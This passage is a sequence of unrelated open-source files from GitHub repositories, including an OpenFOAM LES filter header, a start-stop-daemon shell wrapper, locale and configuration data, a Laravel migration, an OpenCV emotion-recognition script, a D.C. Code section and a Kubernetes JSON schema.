along with OpenFOAM. If not, see <http://www.gnu.org/licenses/>.
Class
Foam::LESfilter
Description
Abstract class for LES filters
SourceFiles
LESfilter.C
newFilter.C
\*---------------------------------------------------------------------------*/
#ifndef LESfilter_H
#define LESfilter_H
#include "volFields.H"
#include "typeInfo.H"
#include "autoPtr.H"
#include "runTimeSelectionTables.H"
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
namespace Foam
{
class fvMesh;
/*---------------------------------------------------------------------------*\
Class LESfilter Declaration
\*---------------------------------------------------------------------------*/
class LESfilter
{
// Private data
const fvMesh& mesh_;
// Private Member Functions
// Disallow default bitwise copy construct and assignment
LESfilter(const LESfilter&);
void operator=(const LESfilter&);
public:
//- Runtime type information
TypeName("LESfilter");
// Declare run-time constructor selection table
declareRunTimeSelectionTable
(
autoPtr,
LESfilter,
dictionary,
(
const fvMesh& mesh,
const dictionary& LESfilterDict
),
(mesh, LESfilterDict)
);
// Constructors
//- Construct from components
LESfilter(const fvMesh& mesh)
:
mesh_(mesh)
{}
// Selectors
//- Return a reference to the selected LES filter
static autoPtr<LESfilter> New
(
const fvMesh&,
const dictionary&
);
//- Destructor
virtual ~LESfilter()
{}
// Member Functions
//- Return mesh reference
const fvMesh& mesh() const
{
return mesh_;
}
//- Read the LESfilter dictionary
virtual void read(const dictionary&) = 0;
// Member Operators
virtual tmp<volScalarField> operator()
(
const tmp<volScalarField>&
) const = 0;
virtual tmp<volVectorField> operator()
(
const tmp<volVectorField>&
) const = 0;
virtual tmp<volSymmTensorField> operator()
(
const tmp<volSymmTensorField>&
) const = 0;
virtual tmp<volTensorField> operator()
(
const tmp<volTensorField>&
) const = 0;
};
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
} // End namespace Foam
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
#endif
// ************************************************************************* //
| {
"pile_set_name": "Github"
} |
#
# service: simple wrapper around start-stop-daemon
#
# Usage: service ACTION EXEC ARGS...
#
# Action:
# -C check if EXEC is alive
# -S start EXEC, passing it ARGS as its arguments
# -K kill EXEC, sending it a TERM signal if not specified otherwise
#
# Environment variables exposed:
# SERVICE_DAEMONIZE run EXEC in background
# SERVICE_WRITE_PID create a pid-file and use it for matching
# SERVICE_MATCH_EXEC use EXEC command-line for matching (default)
# SERVICE_MATCH_NAME use EXEC process name for matching
# SERVICE_USE_PID assume EXEC create its own pid-file and use it for matching
# SERVICE_NAME process name to use (default to EXEC file part)
# SERVICE_PID_FILE pid file to use (default to /var/run/$SERVICE_NAME.pid)
# SERVICE_SIG signal to send when using -K
# SERVICE_SIG_RELOAD default signal used when reloading
# SERVICE_SIG_STOP default signal used when stopping
# SERVICE_STOP_TIME time to wait for a process to stop gracefully before killing it
# SERVICE_UID user EXEC should be run as
# SERVICE_GID group EXEC should be run as
#
# SERVICE_DEBUG don't do anything, but show what would be done
# SERVICE_QUIET don't print anything
#
SERVICE_QUIET=1
SERVICE_SIG_RELOAD="HUP"
SERVICE_SIG_STOP="TERM"
SERVICE_STOP_TIME=5
SERVICE_MATCH_EXEC=1
service() {
local ssd
local exec
local name
local start
ssd="${SERVICE_DEBUG:+echo }start-stop-daemon${SERVICE_QUIET:+ -q}"
case "$1" in
-C)
ssd="$ssd -K -t"
;;
-S)
ssd="$ssd -S${SERVICE_DAEMONIZE:+ -b}${SERVICE_WRITE_PID:+ -m}"
start=1
;;
-K)
ssd="$ssd -K${SERVICE_SIG:+ -s $SERVICE_SIG}"
;;
*)
echo "service: unknown ACTION '$1'" 1>&2
return 1
esac
shift
exec="$1"
[ -n "$exec" ] || {
echo "service: missing argument" 1>&2
return 1
}
[ -x "$exec" ] || {
echo "service: file '$exec' is not executable" 1>&2
return 1
}
name="${SERVICE_NAME:-${exec##*/}}"
[ -z "$SERVICE_USE_PID$SERVICE_WRITE_PID$SERVICE_PID_FILE" ] \
|| ssd="$ssd -p ${SERVICE_PID_FILE:-/var/run/$name.pid}"
[ -z "$SERVICE_MATCH_NAME" ] || ssd="$ssd -n $name"
ssd="$ssd${SERVICE_UID:+ -c $SERVICE_UID${SERVICE_GID:+:$SERVICE_GID}}"
[ -z "$SERVICE_MATCH_EXEC$start" ] || ssd="$ssd -x $exec"
shift
$ssd${1:+ -- "$@"}
}
service_check() {
service -C "$@"
}
service_signal() {
SERVICE_SIG="${SERVICE_SIG:-USR1}" service -K "$@"
}
service_start() {
service -S "$@"
}
service_stop() {
local try
SERVICE_SIG="${SERVICE_SIG:-$SERVICE_SIG_STOP}" service -K "$@" || return 1
while [ $((try++)) -lt $SERVICE_STOP_TIME ]; do
service -C "$@" || return 0
sleep 1
done
SERVICE_SIG="KILL" service -K "$@"
sleep 1
! service -C "$@"
}
service_reload() {
SERVICE_SIG="${SERVICE_SIG:-$SERVICE_SIG_RELOAD}" service -K "$@"
}
| {
"pile_set_name": "Github"
} |
;header
desc = %remote door
;ai
aiinit = appear1.fpi
aimain = doorremote.fpi
aidestroy = disappear1.fpi
;spawn
spawnmax = 0
spawndelay = 0
spawnqty = 0
;orientation
model = meshbank\scifi\scenery\doors\door_f\door_f.x
offx = 0
offy = 50
offz = 0
rotx = 0
roty = 0
rotz = 0
materialindex = 3
soundset = audiobank\scifi\scenery\doors\open.wav
soundset1 = audiobank\scifi\scenery\doors\close.wav
;visualinfo
textured = texturebank\scifi\scenery\doors\door_f\door_f_d2.tga
effect = effectbank\bumpent\bumpent.fx
;identity details
strength = 0
isimmobile = 1
;animationinfo
animmax = 1
anim0 = 0,30
| {
"pile_set_name": "Github"
} |
'use strict';
angular.module("ngLocale", [], ["$provide", function($provide) {
var PLURAL_CATEGORY = {ZERO: "zero", ONE: "one", TWO: "two", FEW: "few", MANY: "many", OTHER: "other"};
$provide.value("$locale", {
"DATETIME_FORMATS": {
"AMPMS": [
"\u0410\u041c",
"\u041f\u041c"
],
"DAY": [
"\u0431\u0430\u0437\u0430\u0440",
"\u0431\u0430\u0437\u0430\u0440 \u0435\u0440\u0442\u04d9\u0441\u0438",
"\u0447\u04d9\u0440\u0448\u04d9\u043d\u0431\u04d9 \u0430\u0445\u0448\u0430\u043c\u044b",
"\u0447\u04d9\u0440\u0448\u04d9\u043d\u0431\u04d9",
"\u04b9\u04af\u043c\u04d9 \u0430\u0445\u0448\u0430\u043c\u044b",
"\u04b9\u04af\u043c\u04d9",
"\u0448\u04d9\u043d\u0431\u04d9"
],
"ERANAMES": [
"\u0435\u0440\u0430\u043c\u044b\u0437\u0434\u0430\u043d \u04d9\u0432\u0432\u04d9\u043b",
"\u0458\u0435\u043d\u0438 \u0435\u0440\u0430"
],
"ERAS": [
"\u0435.\u04d9.",
"\u0458.\u0435."
],
"FIRSTDAYOFWEEK": 0,
"MONTH": [
"\u0458\u0430\u043d\u0432\u0430\u0440",
"\u0444\u0435\u0432\u0440\u0430\u043b",
"\u043c\u0430\u0440\u0442",
"\u0430\u043f\u0440\u0435\u043b",
"\u043c\u0430\u0439",
"\u0438\u0458\u0443\u043d",
"\u0438\u0458\u0443\u043b",
"\u0430\u0432\u0433\u0443\u0441\u0442",
"\u0441\u0435\u043d\u0442\u0458\u0430\u0431\u0440",
"\u043e\u043a\u0442\u0458\u0430\u0431\u0440",
"\u043d\u043e\u0458\u0430\u0431\u0440",
"\u0434\u0435\u043a\u0430\u0431\u0440"
],
"SHORTDAY": [
"\u0411.",
"\u0411.\u0415.",
"\u0427.\u0410.",
"\u0427.",
"\u04b8.\u0410.",
"\u04b8.",
"\u0428."
],
"SHORTMONTH": [
"\u0458\u0430\u043d",
"\u0444\u0435\u0432",
"\u043c\u0430\u0440",
"\u0430\u043f\u0440",
"\u043c\u0430\u0439",
"\u0438\u0458\u043d",
"\u0438\u0458\u043b",
"\u0430\u0432\u0433",
"\u0441\u0435\u043d",
"\u043e\u043a\u0442",
"\u043d\u043e\u0458",
"\u0434\u0435\u043a"
],
"STANDALONEMONTH": [
"\u0408\u0430\u043d\u0432\u0430\u0440",
"\u0424\u0435\u0432\u0440\u0430\u043b",
"\u041c\u0430\u0440\u0442",
"\u0410\u043f\u0440\u0435\u043b",
"\u041c\u0430\u0439",
"\u0418\u0458\u0443\u043d",
"\u0418\u0458\u0443\u043b",
"\u0410\u0432\u0433\u0443\u0441\u0442",
"\u0421\u0435\u043d\u0442\u0458\u0430\u0431\u0440",
"\u041e\u043a\u0442\u0458\u0430\u0431\u0440",
"\u041d\u043e\u0458\u0430\u0431\u0440",
"\u0414\u0435\u043a\u0430\u0431\u0440"
],
"WEEKENDRANGE": [
5,
6
],
"fullDate": "d MMMM y, EEEE",
"longDate": "d MMMM y",
"medium": "d MMM y HH:mm:ss",
"mediumDate": "d MMM y",
"mediumTime": "HH:mm:ss",
"short": "dd.MM.yy HH:mm",
"shortDate": "dd.MM.yy",
"shortTime": "HH:mm"
},
"NUMBER_FORMATS": {
"CURRENCY_SYM": "\u20bc",
"DECIMAL_SEP": ",",
"GROUP_SEP": ".",
"PATTERNS": [
{
"gSize": 3,
"lgSize": 3,
"maxFrac": 3,
"minFrac": 0,
"minInt": 1,
"negPre": "-",
"negSuf": "",
"posPre": "",
"posSuf": ""
},
{
"gSize": 3,
"lgSize": 3,
"maxFrac": 2,
"minFrac": 2,
"minInt": 1,
"negPre": "-\u00a4\u00a0",
"negSuf": "",
"posPre": "\u00a4\u00a0",
"posSuf": ""
}
]
},
"id": "az-cyrl",
"localeID": "az_Cyrl",
"pluralCat": function(n, opt_precision) { if (n == 1) { return PLURAL_CATEGORY.ONE; } return PLURAL_CATEGORY.OTHER;}
});
}]);
| {
"pile_set_name": "Github"
} |
{
"proportion_index": [0.5382, 0.588, 0.3942, 0.1855, 0.304],
"structural": {
"Torso_BreastTone": 0.7,
"Cheeks_Tone": 1.5,
"Shoulders_Tone": 1.5,
"Legs_UpperlegsMass": 0.15,
"Feet_Mass": 0.15,
"Abdomen_Tone": 1.0,
"Legs_UpperlegsTone": 1.5,
"Neck_Mass": 0.15,
"Legs_LowerlegsTone": 1.5,
"Waist_Size": 0.6965,
"Shoulders_Mass": 0.15,
"Torso_Tone": 1.5,
"Cheeks_Mass": 0.15,
"Torso_BreastMass": 0.75,
"Arms_UpperarmMass": 0.15,
"Pelvis_GluteusMass": 0.15,
"Abdomen_Mass": -0.35,
"Arms_UpperarmTone": 1.5,
"Stomach_LocalFat": 0.4825,
"Pelvis_GluteusTone": 1.5,
"Stomach_Volume": 0.493,
"Legs_KneeSize": 0.7,
"Arms_ForearmTone": 1.5,
"Torso_Mass": 0.15,
"Wrists_Size": 0.5825,
"Arms_ForearmMass": 0.15,
"Hands_Mass": 0.15,
"Neck_Tone": 1.5,
"Legs_LowerlegsMass": 0.15
},
"manuellab_vers": [1, 6, 0],
"metaproperties": {
"last_character_age": 0.0,
"character_tone": 1.0,
"last_character_mass": -0.35,
"character_mass": -0.35,
"character_age": 0.0,
"last_character_tone": 1.0
},
"materialproperties": {}
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ldml SYSTEM "../../common/dtd/ldml.dtd">
<!-- Copyright © 1991-2013 Unicode, Inc.
CLDR data files are interpreted according to the LDML specification (http://unicode.org/reports/tr35/)
For terms of use, see http://www.unicode.org/copyright.html
-->
<ldml>
<identity>
<version number="$Revision: 9061 $"/>
<generation date="$Date: 2013-07-20 12:27:45 -0500 (Sat, 20 Jul 2013) $"/>
<language type="dyo"/>
<territory type="SN"/>
</identity>
</ldml>
| {
"pile_set_name": "Github"
} |
# ansi-regex [](https://travis-ci.org/chalk/ansi-regex)
> Regular expression for matching [ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code)
## Install
```
$ npm install ansi-regex
```
## Usage
```js
const ansiRegex = require('ansi-regex');
ansiRegex().test('\u001B[4mcake\u001B[0m');
//=> true
ansiRegex().test('cake');
//=> false
'\u001B[4mcake\u001B[0m'.match(ansiRegex());
//=> ['\u001B[4m', '\u001B[0m']
```
## FAQ
### Why do you test for codes not in the ECMA 48 standard?
Some of the codes we run as a test are codes that we acquired finding various lists of non-standard or manufacturer specific codes. We test for both standard and non-standard codes, as most of them follow the same or similar format and can be safely matched in strings without the risk of removing actual string content. There are a few non-standard control codes that do not follow the traditional format (i.e. they end in numbers) thus forcing us to exclude them from the test because we cannot reliably match them.
On the historical side, those ECMA standards were established in the early 90's whereas the VT100, for example, was designed in the mid/late 70's. At that point in time, control codes were still pretty ungoverned and engineers used them for a multitude of things, namely to activate hardware ports that may have been proprietary. Somewhere else you see a similar 'anarchy' of codes is in the x86 architecture for processors; there are a ton of "interrupts" that can mean different things on certain brands of processors, most of which have been phased out.
## Maintainers
- [Sindre Sorhus](https://github.com/sindresorhus)
- [Josh Junon](https://github.com/qix-)
## License
MIT
| {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <PhotosUICore/PXLayoutMetrics.h>
@class PXCompositeEditorialLayoutSpec;
@interface PXCompositeEditorialLayoutMetrics : PXLayoutMetrics
{
BOOL _useSaliency;
double _interTileSpacing;
PXCompositeEditorialLayoutSpec *_editorialLayoutSpec;
struct UIEdgeInsets _padding;
}
- (void).cxx_destruct;
@property(readonly, nonatomic) PXCompositeEditorialLayoutSpec *editorialLayoutSpec; // @synthesize editorialLayoutSpec=_editorialLayoutSpec;
@property(nonatomic) BOOL useSaliency; // @synthesize useSaliency=_useSaliency;
@property(nonatomic) struct UIEdgeInsets padding; // @synthesize padding=_padding;
@property(nonatomic) double interTileSpacing; // @synthesize interTileSpacing=_interTileSpacing;
- (id)copyWithZone:(struct _NSZone *)arg1;
- (id)init;
@end
| {
"pile_set_name": "Github"
} |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreatePaymentTypeCustomerGroup extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('payment_type_customer_group', function (Blueprint $table) {
$table->increments('id');
$table->integer('payment_type_id')->unsigned();
$table->foreign('payment_type_id')->references('id')->on('payment_types');
$table->integer('customer_group_id')->unsigned();
$table->foreign('customer_group_id')->references('id')->on('customer_groups');
$table->boolean('visible')->default(true);
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('payment_type_customer_group');
}
}
| {
"pile_set_name": "Github"
} |
# Proof-of-concept
import cv2
import sys
import os
from constants import *
from emotion_recognition import EmotionRecognition
import numpy as np
def format_image(image):
if len(image.shape) > 2 and image.shape[2] == 3:
image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
else:
image = cv2.imdecode(image, cv2.CV_LOAD_IMAGE_GRAYSCALE)
faces = cv2.CascadeClassifier(CASC_PATH).detectMultiScale(
image,
scaleFactor=1.3,
minNeighbors=5
)
# None is we don't found an image
if not len(faces) > 0:
return None
max_area_face = faces[0]
for face in faces:
if face[2] * face[3] > max_area_face[2] * max_area_face[3]:
max_area_face = face
# Chop image to face
face = max_area_face
image = image[face[1]:(face[1] + face[2]), face[0]:(face[0] + face[3])]
# Resize image to network size
try:
image = cv2.resize(image, (SIZE_FACE, SIZE_FACE),
interpolation=cv2.INTER_CUBIC) / 255.
while True:
cv2.imshow("frame", image)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
except Exception:
print("[+] Problem during resize")
return None
# cv2.imshow("Lol", image)
# cv2.waitKey(0)
return image
# Load Model
network = EmotionRecognition()
network.build_network()
files = []
for f in os.listdir("./"):
ext = os.path.splitext(f)[1]
if ext.lower() in [".jpg"]:
files.append(f)
for f in files:
frame = cv2.imread(f)
# Predict result with network
result = network.predict(format_image(frame))
if result is not None:
for index, emotion in enumerate(EMOTIONS):
print(emotion, ': ', result[0][index])
print("Emotion: of ", f, "-", EMOTIONS[np.argmax(result[0])])
| {
"pile_set_name": "Github"
} |
<?xml version='1.0' encoding='utf-8'?>
<section xmlns="https://code.dccouncil.us/schemas/dc-library" xmlns:codified="https://code.dccouncil.us/schemas/codified" xmlns:codify="https://code.dccouncil.us/schemas/codify" xmlns:xi="http://www.w3.org/2001/XInclude" containing-doc="D.C. Code">
<num>31-2301</num>
<heading>Definitions.</heading>
<text>For purposes of this chapter, the term:</text>
<para>
<num>(1)</num>
<text>“Domestication” means the reorganization under this chapter of the United States branch of a Non-U.S. insurer whereby a domestic or foreign insurer acquires all the business and assets and assumes all the liabilities of the branch.</text>
</para>
<para>
<num>(2)</num>
<text>“Domestic insurer” means a stock insurance company incorporated under the laws of the District of Columbia.</text>
</para>
<para>
<num>(3)</num>
<text>“Foreign insurer” means a stock insurance company incorporated under the laws of any other state of the United States.</text>
</para>
<para>
<num>(4)</num>
<text>“Non-U.S. insurer” means a stock insurance company organized under the laws of a foreign country.</text>
</para>
<para>
<num>(5)</num>
<text>“United States branch” means the business unit through which business is transacted within the United States by a Non-U.S. insurer and the assets and liabilities of the insurer within the United States pertaining to such business.</text>
</para>
<annotations>
<annotation doc="D.C. Law 13-194" type="History" path="§2">Oct. 21, 2000, D.C. Law 13-194, § 2, 47 DCR 7427</annotation>
</annotations>
</section>
| {
"pile_set_name": "Github"
} |
{
"description": "ContainerPort represents a network port in a single container.",
"required": [
"containerPort"
],
"properties": {
"containerPort": {
"description": "Number of port to expose on the pod's IP address. This must be a valid port number, 0 < x < 65536.",
"type": "integer",
"format": "int32"
},
"hostIP": {
"description": "What host IP to bind the external port to.",
"type": [
"string",
"null"
]
},
"hostPort": {
"description": "Number of port to expose on the host. If specified, this must be a valid port number, 0 < x < 65536. If HostNetwork is specified, this must match ContainerPort. Most containers do not need this.",
"type": "integer",
"format": "int32"
},
"name": {
"description": "If specified, this must be an IANA_SVC_NAME and unique within the pod. Each named port in a pod must have a unique name. Name for the port that can be referred to by services.",
"type": [
"string",
"null"
]
},
"protocol": {
"description": "Protocol for port. Must be UDP or TCP. Defaults to \"TCP\".",
"type": [
"string",
"null"
]
}
},
"$schema": "http://json-schema.org/schema#",
"type": "object"
} | {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.